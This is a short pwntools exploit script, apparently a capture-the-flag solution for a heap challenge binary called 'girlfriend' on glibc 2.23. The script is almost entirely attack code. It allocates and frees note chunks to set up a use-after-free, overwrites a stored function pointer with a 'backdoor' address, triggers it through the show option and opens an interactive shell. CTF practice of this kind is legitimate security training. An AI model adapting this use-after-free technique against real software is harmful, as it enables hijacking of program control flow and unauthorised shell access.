1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import * from ctypes import * context.log_level = 'debug' pty = process.PTY
proc = process("./girlfriend", stdin=pty, stdout=pty)
belf = ELF("./girlfriend") libc = ELF("/usr/ctf/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def sl(x): return proc.sendline(x) def sd(x): return proc.send(x) def sla(x, y): return proc.sendlineafter(x, y) def sa(x, y): return proc.sendafter(x, y) def ru(x): return proc.recvuntil(x) def rc(): return proc.recv() def rl(): return proc.recvline() def li(con): return log.info(con) def ls(con): return log.success(con) def pi(): return proc.interactive() def pcls(): return proc.close()
def add(size, con): sla(b'choice :', b'1') sla(b'size is :', str(size).encode()) sa(b'name is :', con)
def dlt(idx): sla(b'choice :', b'2') sla(b'Index :', str(idx).encode())
def shw(idx): sla(b'choice :', b'3') sla(b'Index :', str(idx).encode())
gscript = ''' b add_girlfriend b del_girlfriend hook-bins memory watch 0x00000000006020A0 6 qword '''
backdoor = 0x0000000000400B9C
add(0x10, p64(backdoor)) add(0x20, p64(backdoor)) dlt(0) dlt(1)
add(0x10, p64(backdoor)) shw(0) pi()
|